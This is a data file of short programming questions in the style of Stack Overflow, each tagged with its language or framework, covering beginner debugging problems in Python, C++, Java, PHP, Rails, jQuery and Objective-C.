unnecessary portion in code -  wordlist loaded  at the end  just have a quick question to check. i m working on a word game and want to find the number of points of a given hand. i ve gotten most of the code correct and it runs fine. however  i keep getting an extra part of the code repeated at the bottom and i would like to know how should i remove it  here s the code:    <pre><code>def play_hand(hand  wordlist):              allows the user to play the given hand  as follows:      * the hand is displayed.      * the user may input a word.      * an invalid word is rejected  and a message is displayed asking       the user to choose another word.      * when a valid word is entered  it uses up letters from the hand.      * after every valid word: the score for that word is displayed        the remaining letters in the hand are displayed  and the user       is asked to input another word.      * the sum of the word scores is displayed when the hand finishes.      * the hand finishes when there are no more unused letters.       the user can also finish playing the hand by inputing a single       period (the string  . ) instead of a word.        hand: dictionary (string -&gt; int)       word_list: list of lowercase strings              print  current hand:   display_hand(hand)     word = raw_input( enter word  or a  .  to indicate that you are finished: )     handscore = 0      while list(word) != [ . ]:         if is_valid_word(word  hand  wordlist) == true:             score = get_word_score(word n)             handscore = handscore + score             print word   earned   score   points. total:   handscore   points              hand = update_hand(hand  word)              if calculate_handlen(hand) == 0:                     print  your hand has finished.                      print  your final score is   handscore                     break             else:                 print  current hand:   display_hand(hand)                 word = raw_input( enter word  or a  .  to indicate that you are finished: )          else:             print  invalid word  please try again.              word = raw_input( enter word  or a  .  to indicate that you are finished: )       if list(word) == [ . ]:         print  total score: %d points  %(handscore)   n = 7 hand = deal_hand(n) play_hand(hand  load_words()) </code></pre>   here s the code for load_words():   <pre><code>def load_words():             returns a list of valid words. words are strings of lowercase letters.      depending on the size of the word list  this function may     take a while to finish.             print  loading word list from file...      # infile: file     infile = open(wordlist_filename   r   0)     # wordlist: list of strings     wordlist = []     for line in infile:         wordlist.append(line.strip().lower())     print       len(wordlist)   words loaded.      return wordlist </code></pre>   i get this in return:   <pre><code>loading word list from file...    83667 words loaded. current hand: a i j m n w v none enter word  or a  .  to indicate that you are finished:jam jam earned 36 points. total: 36 points current hand: i n w v none enter word  or a  .  to indicate that you are finished:win win earned 18 points. total: 54 points current hand: v none enter word  or a  .  to indicate that you are finished:v invalid word  please try again. enter word  or a  .  to indicate that you are finished:. total score: 54 points loading word list from file...    83667 words loaded. </code></pre>   as you can see  there s an extra  loading word list from file... 83667 words loaded.  at the bottom which isn t supposed to be there. does anyone know what went wrong in my code      thanks so much! andrea,python
loading text files from any location in objective c  i haven t been able to make the application load a file except by putting a direct link to the file hard-coded into the application or putting the file into the same part of the file system as the program.     i am using the console interface for this application  and i just need it to ask the user what file to load  let them tell the program which file to use  then execute the rest of the code and return the results. putting a direct link and putting the file in the same directory works  but this solution is useless because i need to be able to select various files from anywhere on the computer. thanks for any advice.,objective-c
asp.net - share code  i have a web application that contains a bunch of classes in the app_code folder.  i compile the project and publish it to the iis server.    i want to share some of the code in the app_code folder with another application on the server and therefore i think i need to register an assembly in the gac.    what is the best way to do this  i have read this article: <a href= http://msdn.microsoft.com/en-us/library/aa479044  rel= nofollow >http://msdn.microsoft.com/en-us/library/aa479044</a>  which suggests a number of options,asp.net
using swap to arrange a string array in alphabetical order  i m working on an assignment for my programming class:implement the grade averaging program as discussed in class. the grade information will be in an input file where each student s information is spread over two lines: the first line is the students name in the format of firstname middlename lastname and the second line has the student s grades  which are integers. (a student might not have a middle name.) there will be a maximum of 20 students and each student will have 10 grades. the program should request the name of the input file from the user. for each student  compute their overall average (assume each assignment is worth the same number of points). output the information to the screen  one line per student  each line being their  name  (in lastname  firstname middle initial  the 10 grades  and the average  sorted by lastname. the average should be carried out two decimal places with both being displayed (i.e. 3.1 would be output as 3.10). you should use three arrays for this problems as discussed and using a reasonable set of functions. this is what i have so far.   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;fstream&gt; #include &lt;climits&gt; #include &lt;iomanip&gt;  using namespace std;  const int ngrades= 10; const int maxstudents=20;  string reformat(string&amp; s);  int main(){  int num_of_students = 0; string fullname; double sum=0;  string names[maxstudents]; int grades[maxstudents][ngrades]; double average[maxstudents];  string filename; ifstream inputfile;  cout&lt;&lt;  please type the file name including extension(such as .txt). &lt;&lt;endl; cout&lt;&lt;  if your file is in a different directory please specify the path: ; //asking          user for file name. seperated into two cout statments for readibility getline(cin filename); inputfile.open(filename.c_str());  if (!inputfile){                                   //produce an error if the file name is invalid  cout&lt;&lt; cannot open  &lt;&lt;filename&lt;&lt; . &lt;&lt;endl;  return 1; }  while(getline(inputfile  fullname)){     names[num_of_students]=reformat(fullname);     cout &lt;&lt; setw(20)&lt;&lt; names[num_of_students]&lt;&lt;   &lt;&lt; setw(20);     for (int i = 0; i &lt; ngrades; ++i){         inputfile &gt;&gt; grades[num_of_students][i];         cout &lt;&lt;setw(4)&lt;&lt;grades[num_of_students][i];         sum = sum + grades[num_of_students][i];     }     average[num_of_students]= sum/ngrades;     sum=0;     cout &lt;&lt;setw(15);     cout&lt;&lt; fixed &lt;&lt; showpoint;     cout &lt;&lt; setprecision(2);     cout &lt;&lt;average[num_of_students]&lt;&lt; endl;     inputfile.ignore(int_max   \n );     ++num_of_students;  }   inputfile.close();   return 0;  }  string reformat(string&amp; s){     int pos  postwo;     string first_middle;     string lastname;     string finished;     pos = s.find_first_of(   );     first_middle=s.substr(0 pos+2);     postwo=s.find_first_of(     pos+1);     lastname=s.substr(postwo+1);     finished=lastname+     +first_middle;     return finished;  } </code></pre>   what i need to do now is arrange the names in alphabetical order by last name using swap. i m not allowed to use structs or anything like that.,c++
print html form without onclick event handler  i am compiling an html form from text  data and img files and at present it is printed by onclick window.print(). i wish to print the form unconditionally once it has been loaded onto the screen but i can t see the way forward.,html
boolean not being returned   new developer here  i am doing a practice challenge that should return either true or false depending on if a dog is barking and what time it is in the day.     <pre><code>public class barkingdog { public static boolean bark(boolean barking  int hourofday){     if(barking=true) {         if (hourofday &lt; 8 || hourofday &gt; 22) {             return true;         } else if (hourofday &lt; 0 || hourofday &gt; 23) {             return false;         } else {             return false;         }     }     else{             return false;         } } public static void main(string args[]){     bark(true 1); } } </code></pre>,java
how to create draggable tableview in iphone   i want to create a draggable tableview in iphone i have two tableview in a view-controller one is ordinary tableview but i want second tableview with draggable function i just want to drag the tableview from bottom to center of the view.i know how to drag a image in a view controller but i need help to create a draggable tableview.please help me. thanks in advance.   <pre><code>@interface uitouchtutorialviewcontroller : uiviewcontroller {     iboutlet uiimageview *img; }  @end  -(void) touchesbegan:(nsset *)touches withevent:(uievent *)event {     uitouch *touch = [[event alltouches] anyobject];     cgpoint location = [touch locationinview:touch.view];     img.center = location; }  -(void)touchesmoved:(nsset *)touches withevent:(uievent *)event {     [self touchesbegan:touches withevent:event]; } </code></pre>,iphone
if 1 == true  can you flip it   so in c++  1 is equalavent to true   <pre><code>int test = 1; if(test) {// returns true; enter if loop     passgo();     collect200dollars(); } </code></pre>   does the flip operator (sorry for lack of better name) work on this    <pre><code>int test = 1; if(!test) {// returns false; do not enter if loop ... }else{     gotojail(); } </code></pre>,c++
suppose i have this javascript function. how do i pass the element to it  <pre><code>function getleftpos(elm){   var left = 0;   while(elm){     left += elm.offsetleft;     elm= elm.offsetparent;   }   return left; } </code></pre>   how come this doesn t work    <pre><code>getleftpos(document.getelementbyid( #frame )); </code></pre>   if i alert(elm) inside that function  it is null.,javascript
expected specifier-qualifier-list before  i have this struct type definition:   <pre><code>typedef struct {     char *key;     long cantag;     long canset;     long allowmultiple;     conftype *next; } conftype; </code></pre>   when compiling  gcc throws this error:   <pre><code>conf.c:6: error: expected specifier-qualifier-list before ‘conftype’ </code></pre>   what does this mean  it doesn t seem related to other questions with this error.,c
about timer and timer task in java  let s say i have a currently running timer with a scheduled timertask.  if i call <code>timer.cancel()</code> does that kill all of the variables in my timertask as well or do i have to wait for the gc   also  can i reassign it with a new task after calling <code>.cancel()</code>   <pre><code>timer.cancel(); timer = new timer(); messagetimer = new messagetask(); timer.schedule(messagetimer  1000  1000); </code></pre>   or is there a more suitable way to replace the timer task in the original timer object  or something i m not even thinking of     thanks -t,java
lcm and gcd in c using recursion or normal method  hello guys while trying to do the gcd and lcm program from programmingsimplified...i am facing problems with the results. i did everything correct( according to me) and even checked word by word but the problem still persists...i am pasting the code of normal method only.   <pre><code>  #include &lt;stdio.h&gt;    int main()   {   int a  b  x  y  t  gcd  lcm;    printf( enter first number : );   scanf( %d   &amp;a);   printf( enter first number : );   scanf( %d   &amp;b);    a = x;   b = y;    while (b != 0)   {         t = b;         b = a % b;         a = t;   }    gcd = a;   lcm = (x * y)/gcd;    printf( greatest common divisior of %d and %d = %d\n   x  y  gcd);   printf( lowest common divisior of %d and %d = %d\n   x  y  lcm);    getch();    } </code></pre>,c
how to iterate through a file twice by using while((c = getc(file)) != eof)  <pre><code>#include &lt;stdio.h&gt;  int main(int argc  char **argv) {     int c;     file *file;     file = fopen(argv[1]   r );     if (file) {          while ((c = getc(file)) != eof) {             if (c ==  a ) {                 // loops through this part of the file without breaking the                  // the original c             }         }       } } </code></pre>   basically  this program has really no purpose just wondering if there is a easy way to loop twice in a file.    like for example say the contents of a file is  1234a456468     when c is at index 4. i want to make another loop without affecting c  we ll call another variable d  where d is at index 4 as well and i can use d = getc(file) without it affecting c.,c
how to exclude space when reading input  i want to read an input by user.    example: if user inputs <code>233 245</code> (consider the space).    i need to assign it to variable like   <pre><code>a=233; b=245;  </code></pre>   how do i do this in c++,c++
iphone: sqlite store data is not working  i am trying to store data in created sqlite database. here is the code below  i am storing urlstr into a database. later  i m planning to store multiple url strings into the database. i m trying this as sample now. the problem is  it is not binding any text into the database after this code executed.   <pre><code>-(void) readmedialistfromdatabase {  nsstring * urlstr = @ assets-library://asset/asset.jpg id=1000000001&amp;ext=jpg ;  // setup the database object sqlite3 *database;  // setup some globals databasename = @ medialist.sqlite ; // get the path to the documents directory and append the databasename nsarray *documentpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); nsstring *documentsdir = [documentpaths objectatindex:0]; databasepath = [documentsdir stringbyappendingpathcomponent:databasename];  // open the database from the users filessytem if(sqlite3_open([databasepath utf8string]  &amp;database) == sqlite_ok) {     // setup the sql statement and compile it for faster access     // table name is medialist -&gt; create table  medialist  ( id  varchar  pathurl  varchar)     const char *sqlstatement =  select * from medialist ;     sqlite3_stmt *compiledstatement;     if(sqlite3_prepare_v2(database  sqlstatement  -1  &amp;compiledstatement  null) == sqlite_ok) {          // loop through the results and add them to the feeds array         while(sqlite3_step(compiledstatement) == sqlite_row) {             // read the data from the result row             //nsstring *amediadata = [nsstring stringwithutf8string:(char *)sqlite3_column_text(compiledstatement  1)];             //nslog(@ amediadata: %@   amediadata);          }          //int success = sqlite3_step(compiledstatement);         //nslog(@ sqlite3_step: %d   success);          // write the url path into the database          const char *sql =  insert into medialist(pathurl) values( ) ;          if ( sqlite3_prepare_v2(database  sql  -1  &amp;compiledstatement  null) !=sqlite_ok )         {                             nslog(@ sqlite prepare error before binding data: %s   sqlite3_errmsg(database));         }          sqlite3_bind_text(compiledstatement  1  [urlstr utf8string]  -1  sqlite_transient);      }     // release the compiled statement from memory     sqlite3_finalize(compiledstatement);  } sqlite3_close(database); </code></pre>   }    when i debug the code  there are no errors  it is coming until sqlite3_bind_text and executing that line too.. could someone please correct me what i m doing wrong here  why it is not binding the text into the database     thank you!,iphone
get the latest file addition in a directory  how to get the latest file name  or the file path that is added into a directory,php
roles gestion with asp:hyperlink menu  i have a little problem  i just made a menu with some asp:hyperlink structured in list. i just wonder if it is possible to filter some of these asp:hyperlink in relation with  roles  defined in the web.sitemap     for example :   <pre><code>      &lt;ul id= topnav &gt;         &lt;li&gt;dep             &lt;span&gt;                 &lt;asp:hyperlink  text= testing one  navigateurl= /dep/enc/dep_enc.aspx  runat= server &gt;encode &lt;/asp:hyperlink&gt;                 &lt;asp:hyperlink text= testing two  navigateurl= /dep/enc/dep_enc_d.aspx  runat= server &gt;nouveau contrat&lt;/asp:hyperlink&gt;  ...       &lt;sitemapnode &gt;     &lt;sitemapnode url= /dep/dep_ac.aspx  title= dép  &gt;       &lt;sitemapnode url= /dep/enc/dep_enc.aspx  roles= all  &gt;         &lt;sitemapnode url= /dep/enc/dep_enc_d.aspx  roles= admin /&gt; ... </code></pre>   so is it possible to make disappear test two if user is not  admin    thanks for help..,asp.net
what s a global method   what is a global method in .net  i m talking about the ones created by the <a href= http://msdn.microsoft.com/en-us/library/67s2c85d.aspx  rel= noreferrer ><code>modulebuilder.defineglobalmethod</code></a> method.    can these methods be called from c# or other .net languages,.net
adding time to url address  i try to add time informations to an url address.    example:    <a href= http://www.test.de/output/iphone.txt %y%m%d%h%m%s  rel= nofollow >http://www.test.de/output/iphone.txt %y%m%d%h%m%s</a>    like this.    this was my first try:    first i tried to recieve the current time:   <pre><code>    nsdate *currentdate = [nsdate date]; //  aktuelles datum und die uhrzeit     nsstring *strdate =  [[currentdate                            datewithcalendarformat:@ %y%m%d%h%m%s  timezone:nil]  description];  +     nsstring *sitestring = @ http://www.test.de/output/iphone.txt ; nsurl *siteurl  = [nsurl urlwithstring:sitestring];                 nsstring *mystring = [nsstring stringwithcontentsofurl:siteurl encoding:nsasciistringencoding error:&amp;error]; </code></pre>   now i have two variables  <code>strdate</code> and <code>sitestring</code>. i want to combine these strings  at the end i want to have the following string:   <pre><code>nsstring *link = [sitestring  +     +  strdate] </code></pre>   that string should look like:    <a href= http://www.test.de/output/iphone.txt yyyymmddhhmmss  rel= nofollow >http://www.test.de/output/iphone.txt yyyymmddhhmmss</a>,objective-c
load a http page from a local file  what can i place within a local .html file which when opened in a browser will redirect to a http website     for the life of me i can not figure out the simplest way to do this. do i really need a javascript redirect     many thanks. ben,html
check is user inputs black  green or red. c#  i m working on a program where i want my user to enter one of the following colors (red  green or black). but i am stuck.     what i have done so far is this   <pre><code>console.write( color to bet on:  ); string tempcolor = console.readline();  while (string.isnullorwhitespace(tempcolor)) {     console.write( the color can t be null. );     tempcolor = console.readline().tolower(); } </code></pre>   but how can i make sure my users puts in the color i want  i ve tried fiddling around with string. contains method but haven t had any success so far.,c#
identify keyword in active record query-rails <pre><code>@zipcode = zipcodes.identify(params[:zip_code]) </code></pre>   i am new to rails. can anyone tell me what does the keyword  identify  do. is this related to active record query     thank you in advance.,ruby-on-rails
want to access connection object in another class  here  i had return connection in one class and trying to access the connection object in another class where i am writing my prepared statement to execute an query and update the table.please suggest whether it is correct way  if not post your advice.  thanks in advance   <h1>connection class</h1>  <pre><code>public class dbconnection {      public connection dbconnect()     {         connection conn = null;         string url =  jdbc:mysql://localhost:3306/ ;         string db =  gup ;         string driver =  com.mysql.jdbc.driver ;         string user =  root ;         string pass =   ;         try{             class.forname(driver);             conn = drivermanager.getconnection(url + db  user  pass);             if(conn == null){                 system.out.println( connection is not established );             }             return conn ;         }         catch(exception e)         {             system.out.println(e);         }         return null ;     }  } </code></pre>  <h1>prepared statement class to insert data</h1>  <pre><code>public class insertingdata {       public void insertfile(string fpath string fname string fext)     {         preparedstatement pstmt = null;         // connection conn = null ;         dbconnection dbcon = new dbconnection();         pstmt = (preparedstatement) dbcon.dbconnect();         //create the statement object         string sql =  insert into filedetails (folder_path file_name file_extension)  +  values (     ) ;         try         {          //resultset rs = pstmt.executequery(sql);         pstmt.setstring(1  fpath);         pstmt.setstring(2  fname);         pstmt.setstring(3  fext);         pstmt.executequery(sql);         }         catch(sqlexception se)         {             system.out.println(se);         }     } }  </code></pre>,java
under what conditions do i need to single quote a variable in a mysql statement in php   under what conditions do i need to single quote a variable in a mysql statement in php,mysql
text() jquery not permanently changing values  i m not sure exactly if this is a caching or coding issue. interestingly when i try to change the value of a <code>div</code> using <code>text()</code> it works sometimes and does not work other times...    edit <em>solved see below</em>: the issue ended up being some foul part of the code re-submitting the page a second time  thus giving the impression that the variables were not being stored  or the html()/text() was not working correctly...   <pre><code>&lt;body onload= printlabel() &gt; </code></pre>   and right before the closing /body:   <pre><code>$v =  &lt; php echo $inputbarcode;  &gt; ;     function printlabel() {     if( $v ===   ) {     }         else {             $indexarray =  &lt; php echo $final;  &gt; ;                 if($indexarray !==    ){                 $( #invalid ).text( added to stocktake. );                 }                 else {                 $( #invalid ).text( barcode not found! );                 alert( barcode not found! );                 }         } } </code></pre>   the <code>div</code> as written within the body:   <pre><code>&lt;div id= invalid &gt;please scan a barcode to begin.&lt;/div&gt; </code></pre>,jquery
iphone vs website development times for website style app  i build websites for a living and have a very accurate way to cost them. i am being asked to price an iphone app for viewing real estate properties that is virtually a website on an iphone. i need to know roughly how much more/less it would take to build. here are the screens.    home page    view all houses (about 20)    click on house for details    view images  floor plans    add to favorites    the app is hard coded  nothing is downloaded from the internet.    there is nothing particularly  iphone-y  about the application - no complex visual interfaces  no gps functionality and so forth.    could someone give me a rough estimate as to how long these apps take to build compared to a website for an experienced developer  i am not talking about a newbie  someone whose has plenty of iphone experience.,iphone
guidelines for writing fast css  if i google for css optimisation  the results are generally about some kind of compression tools. forgetting transmisison/parsing speed for now  i am wondering what guidelines there are for writing rules which are fast to <em>apply</em> to a document.    basic example:   <pre><code>&lt;div class= a &gt;     &lt;div class= x &gt;...&lt;/div&gt;     &lt;div class= y &gt;...&lt;/div&gt; &lt;/div&gt; &lt;div class= b &gt;     &lt;div class= x &gt;...&lt;/div&gt;     &lt;div class= y &gt;...&lt;/div&gt; &lt;/div&gt; </code></pre>   versus   <pre><code>&lt;div class= a x &gt;...&lt;/div&gt; &lt;div class= a y &gt;...&lt;/div&gt; &lt;div class= b x &gt;...&lt;/div&gt; &lt;div class= b y &gt;...&lt;/div&gt; </code></pre>   the css for these would require different selectors:   <pre><code>.b .x {...} </code></pre>   versus   <pre><code>.b.x {...} </code></pre>   in terms of performance  is there any reason to favour the former or the latter  sure  <strong>it will depend on the selector engine</strong>  but perhaps the css rules lend themselves to a natural implementation algorithm that all engines will have.    do we know how to estimate the cost of different selectors which are equivalent  given a document     are there guidelines for this somewhere     are they browser-specific or universal,css
using if/else in do/while in c# <pre><code>namespace himic_sharp {     class program     {         static void main(string[] args)         {             int x;             do             {                 console.writeline( welcome to the shopping cart!\nfollowing options are available to you:\n1. add an item to cart\n2. remove an item from the cart\n3. view the cart\n4. checkout and pay\n5. exit );                 console.writeline( please inter your chice );                 x = console.read();                 if (x ==  1 )                 {                 console.writeline( available items are:\n1.shirt\n2.pant\n3.shoes\n4.fish\n5.oil );                 console.writeline( please inter the items name: );                 string j = console.readline();                 }             } while (x !=  5 );         }    }  } </code></pre>   but the program dont take input when i  expected to take input like----    <a href= https://i.stack.imgur.com/mfmrz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mfmrz.png  alt= enter image description here ></a>    but it repeats my console.writeline() method in state of takeing input,c#
why should this test ever pass  so confused  im following along hartl s ror tutorial and came across the following test code in ch.6  which is not making sense:   <pre><code>require  test_helper   class usertest &lt; activesupport::testcase    def setup     @user = user.new(name:  example user   email:  user@example.com )   end    test  should be valid  do     assert @user.valid    end    test  name should be present  do     @user.name =             assert_not @user.valid    end end </code></pre>   focusing on the last test  name should be present   the @user.name variable is being assigned blank spaces. so wont that make the test fail  no matter what      secondly  what is assert_not  assert is something like  check if this is true .  so assert_not is  check if its false       so the above test is doing the following    <ol> <li> @name is made to be blank spaces </li> <li> check if @name is invalid  </li> <li> yes it is invalid because @name was made to blank spaces in step 1.  </li> </ol>   so confused....,ruby-on-rails
a very basic problem with my simple_form usage  this is my form code.   <pre><code>&lt;%= simple_form_for @user do |f|%&gt;   &lt;%= f.input :name %&gt;   &lt;%= f.button :submit %&gt; &lt;% end %&gt; </code></pre>   and this is the error i get  :    compile error /home/shreyas/apps/vaccidate/app/views/users/_form.html.erb:1: syntax error  unexpected  )  ... simple_form_for @user do |f|).to_s); @output_buffer.concat                               ^ /home/shreyas/apps/vaccidate/app/views/users/_form.html.erb:9: syntax error  unexpected kensure  expecting  )  /home/shreyas/apps/vaccidate/app/views/users/_form.html.erb:11: syntax error  unexpected kend  expecting  )     what am i supposed to do   thanks !,ruby-on-rails
pass class instance c++  i m learning c++ by programming a game. i m using sdl to display my objects and a factory structure to keep it all organised. i separated the first object (a car)  the controls (keyboard) and the display (monitor). in my main class i call the monitor class to display a window where i should draw the images. if a key is pressed  the car should react to that by redrawing the image. the problem here is that i initialized the monitor in the main class and i can t access it in my car class.. i tried a variety of things  but nothing seems to do the trick.    so here is the main class   <pre><code>game::game(guifactory* factory) {      bool is_running = true;      car* car = factory-&gt;createcar();     car-&gt;drawcar();      // create factory specific window     monitor* monitor = factory-&gt;createmonitor();      // create factory specific keyboard     keyboard* keyboard = factory-&gt;createkeyboard();      while (is_running) {         // keyboard input         string key_input = keyboard-&gt;getkeys();         if (key_input ==  quit ) {             is_running = false;         } else if (key_input !=   ) {             if(key_input ==  right ){                 car-&gt;turnright(monitor);             }         }     } } </code></pre>   i have a main car class and an sdlcar class  which inherits car.   <pre><code>class car { public:     car();     virtual ~car();     virtual void drawcar() = 0;     virtual void turnright() = 0; }; </code></pre>   here is where i m confused:   <pre><code>class sdlcar : public car { public:     sdlcar();     virtual ~sdlcar();     void drawcar();     void turnright(sdlmonitor&amp; monitor);     //             ^^^^^^^^^^^^^^^^^^^ }; </code></pre>   could someone please explain,c++
align checkbox center to label lines  i have a check-box and the label. if label is of two lines the check-box should be aligned in between two lines.                            label text,css
php call closure under stdclass  this is what i have   <pre><code>$x = new \stdclass(); $x-&gt;cast = function($y){     return $y; }; </code></pre>   and when i try to execute it   <pre><code>$x-&gt;cast(5); </code></pre>   i get this error   <blockquote>    fatal error: call to undefined method stdclass::cast()  </blockquote>   how can i fix it,php
database error when import sql file  errormessage while trying to connect to mysql:   <pre><code>warning: mysqli::mysqli(): (hy000/1045): access denied for user  your username @ localhost  (using password: yes) in c:\xampp\htdocs\tinycms-master\index.php on line 4 connection failed: access denied for user  your username @ localhost  (using password: yes) </code></pre>,mysql
java help  error message  file not found   i m trying to run this code that was supposed to be a cut and paste easy assignment from my teacher. however  after following the instructions i still get this error message:    <blockquote>     the specified file  shapedata.txt was not found.   </blockquote>   which refers back to line 30.    i did cut and paste the file into the same folder as all the rest  so i m not sure why i m still getting the error. i also read about doing something in the command line  but not sure what it is i m suppose to do.    (oh  and this is <em>not</em> a homework assignment or anything that i can turn in for a grade. it is just something we can look at to get a better understanding.)    here is my code  or at least the first couple of line anyway.   <pre><code>/**  * concepts demonstrated:  *  object inheritance  *  interfaces  *  interface implementation  *  reading data from a file  *  sorting an array  *  manipulating strings   */  import java.util.scanner;      /**      * this lab demonstrates the basics of object-oriented programming.      */     public class lab8 {          private static shape[] shapes; // an array to hold all the shape objects          public static void main(string[] args) {             datareader reader = new datareader( shapedata.txt );// the reader is used to read data from a file               // display program information             system.out.println( ima java programmer );             system.out.println( shape info );              // load data from the file             if(reader.loaddata( shapedata.txt )) { // the filename is entered using a command-line argument                 shapes = reader.getshapedata(); // store the arrays in the array                  // display how many shapes were read from the file                 system.out.println( successfully loaded   + shapes[0].getcount() +                                       shapes from the selected data file! );                 displaymenu();             }         } </code></pre>,java
include  utc` in datetime  one of my assertions is failing because of this slight niggle:   <pre><code>  its(:register_token_created_at){ should eq datetime.now.utc } </code></pre>   <strong>results in:</strong>         <pre><code>  expected: fri  28 mar 2014 00:06:33 +0000        got: fri  28 mar 2014 00:06:33 utc +00:00 </code></pre>   so how should i change <code>datetime.now.utc</code> for it to pass,ruby-on-rails
how is a method able to modify out of scope data contained in another method   i am learning java and i came across the following code. it executes fine which is kinda why i have a problem with it... how is editlist() able to modify list1 and list2. they are passed as argumnets to the method but shouldn t the method only be able to modify it s copies of those lists (l1 and l2)  from my understanding for this to work either editlist() should return l1 and l2 and let the main method do list1 = l1 and list2 = l2 or list1 and list2 should be declared as global variables at the beginning of the class and editlist() should just directly access them. but the code works! i am seriously confused or my fundamental java is weak...   <pre><code>import java.util.*;  public class arraylistremove {      public static void main(string[] args) {          string[] numbers = { one    two    three    four };          list&lt;string&gt; list1 = new arraylist&lt;string&gt;();          for (string x : numbers)             list1.add(x);          string[] morenumbers = { three    one };          list&lt;string&gt; list2 = new arraylist&lt;string&gt;();          for (string x : morenumbers)             list2.add(x);           editlist(list1  list2);          system.out.println( list 1 );          for (string x : list1)             system.out.println(x +  \t );      }      private static void editlist(collection&lt;string&gt; l1  collection&lt;string&gt; l2) {          iterator&lt;string&gt; iterator = l1.iterator();          while (iterator.hasnext()) {              if (l2.contains(iterator.next()))                 iterator.remove();          }      }  } </code></pre>,java
javascript: search string for expression and return error if not found  i have a form that should only allow e-mail addresses with a  .edu  domain  and i worked up some javascript to try to make that happen.    form elements:    <pre><code>&lt;input type= text  name= empemail  id= empemail  /&gt; &lt;input type= submit  name= submit  id= submit  value= submit   onclick =  error();  /&gt; &lt;span id= empemailerror &gt; &lt;/span&gt; </code></pre>   javascript function:   <pre><code>//check for non-university e-mail addresses function error() { var email = document.getelementbyid( empemail ).value; var re = /\.edu$/; if(!email.match(re))    {       document.getelementbyid( empemailerror ).innerhtml =  university e-mail        address only. ;       return false;   } } </code></pre>   here s the fiddle:    <a href= http://jsfiddle.net/4t5qv/  rel= nofollow >http://jsfiddle.net/4t5qv/</a>    i can t get it to work. not sure what it is i m missing.,javascript
how to destroy a built object   how can i delete or destroy an object located in memory  but not in the database    <pre><code>irb(main):034:0&gt; mentor.registered_students.build(:user_id =&gt; 20) =&gt; #&lt;registeredstudent id: nil  user_id: 20  assigned_mentor_id: 1  description: nil  created_at: nil  updated_at: nil&gt;  irb(main):035:0&gt; mentor.registered_students.last =&gt; #&lt;registeredstudent id: nil  user_id: 20  assigned_mentor_id: 1  description: nil  created_at: nil  updated_at: nil&gt;  irb(main):036:0&gt; mentor.registered_students.last.destroy    (0.3ms)  begin    (0.2ms)  commit =&gt; #&lt;registeredstudent id: nil  user_id: 20  assigned_mentor_id: 1  description: nil  created_at: nil  updated_at: nil&gt;  irb(main):037:0&gt; mentor.registered_students.last.delete =&gt; #&lt;registeredstudent id: nil  user_id: 20  assigned_mentor_id: 1  description: nil  created_at: nil  updated_at: nil&gt;  irb(main):038:0&gt; mentor.registered_students.last =&gt; #&lt;registeredstudent id: nil  user_id: 20  assigned_mentor_id: 1  description: nil  created_at: nil  updated_at: nil&gt; </code></pre>   i already used destroy or delete but they look for records in database.    controler action:   <pre><code>  def mix     unless params[:mentor_id].nil  || params[:students_id].nil        @mentor   = assignedmentor.find params[:mentor_id]       @students = params[:students_id]       @students.each do |student|         if student[1] ==  0            registered_student = registeredstudent.where( assigned_mentor_id =   and user_id =     @mentor.id  student[0] ).first           registered_student.destroy         end         if student[1] ==  1            @mentor.registered_students.build(:user_id =&gt; student[0])           @mentor.save           if @mentor.errors.size &gt; 0             @mentor.registered_students.reload           end         end       end       #redirect_to bind_admin_users_path     end     #flash[:alert] = t( labels.no_students )     redirect_to bind_admin_users_path   end </code></pre>,ruby-on-rails
how to count overflow-y hidden class  in jquery  how to count overflow-y hidden div class   i tried to used this but it only count numbers of <code>hide()</code>   <pre><code>$( .classname &gt; * ).filter( :hidden ).size(); </code></pre>   how can i count in <code>overflow-y: hidden</code>,jquery
why am i getting an unchecked cast warning   in a jtree i use this code and  i don t receive any warnings:   <pre><code>enumeration&lt;defaultmutabletreenode&gt; en = (enumeration&lt;defaultmutabletreenode&gt;)selnode.postorderenumeration(); </code></pre>   but when i use the following code i get an <code>unchecked cast</code> warning:   <pre><code>enumeration&lt;defaultmutabletreenode&gt; en = (enumeration&lt;defaultmutabletreenode&gt;)selnode.pathfromancestorenumeration( this.getrootnode() ); </code></pre>   whats the deal,java
getting a value by id saving it to a variable and then printing the variable  so i am just trying to save a value from a div to a variable and then print it.    here is what i tried <a href= http://jsfiddle.net/akpn3/449/  rel= nofollow >http://jsfiddle.net/akpn3/449/</a>    <pre><code>&lt;script text/type= javascript &gt; var string = $( .label_text_price_overview ).val(); $( .listprice ).html(string); &lt;/script&gt; &lt;span class= label_text_price_overview &gt;&lt;span class= nobreak &gt;usd &lt;span&gt;279.00&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;p class= listprice &gt;&lt;/p&gt; </code></pre>,jquery
create image file on server  i m trying to use the facebook api to get the app user s profile pic and then save it on the server. i m getting the image just fine  but creating a new image file and saving it in the correct folder seems to be a problem. i tried using the fopen and file_put_contents functions  but apparently they require that a file be created before hand. how can i save the fb user s image on the server  my code is as follows.   <pre><code>$facebook = new facebook(array(  appid  =&gt;  12345    secret  =&gt;  12345    cookie  =&gt; true ));  $access_token = $facebook-&gt;getaccesstoken();  if($access_token !=   )  { $user = $facebook-&gt;getuser(); if($user != 0) {             $user_profile = $facebook-&gt;api( /me );             $fb_id = $user_profile[ id ];         $fb_first_name = $user_profile[ first_name ];         $fb_last_name = $user_profile[ last_name ];         $fb_email = $user_profile[ email ];              $img = file_get_contents( https://graph.facebook.com/ .$fb_id. /picture type=large );     $file =  /img/profile_pics/large/ ;     rename($img    .$file.  .$img.  );     } </code></pre>   any suggestions     thanks     lance,php
c++ why is that my output for str [i] is empty   below are my codes:    <pre><code>    char str [80];     int n;       n = max + ( rand () % 1000 + 1);      cout &lt;&lt;  number:   &lt;&lt; n &lt;&lt; endl;       constructarray(str  n);        void constructarray (char str []  int n)     {     for (int i = 0; i &lt; n; i++)     {         while (n &gt; 0)         {            // get last pair of digits            str [i] = n%10;              n/= 10;         }       cout &lt;&lt; str[i] &lt;&lt; endl;     }     } </code></pre>   i can t figure out why my compiler doesnt output any values.  it works if i didnt implement array.     any help will be appreciated.,c++
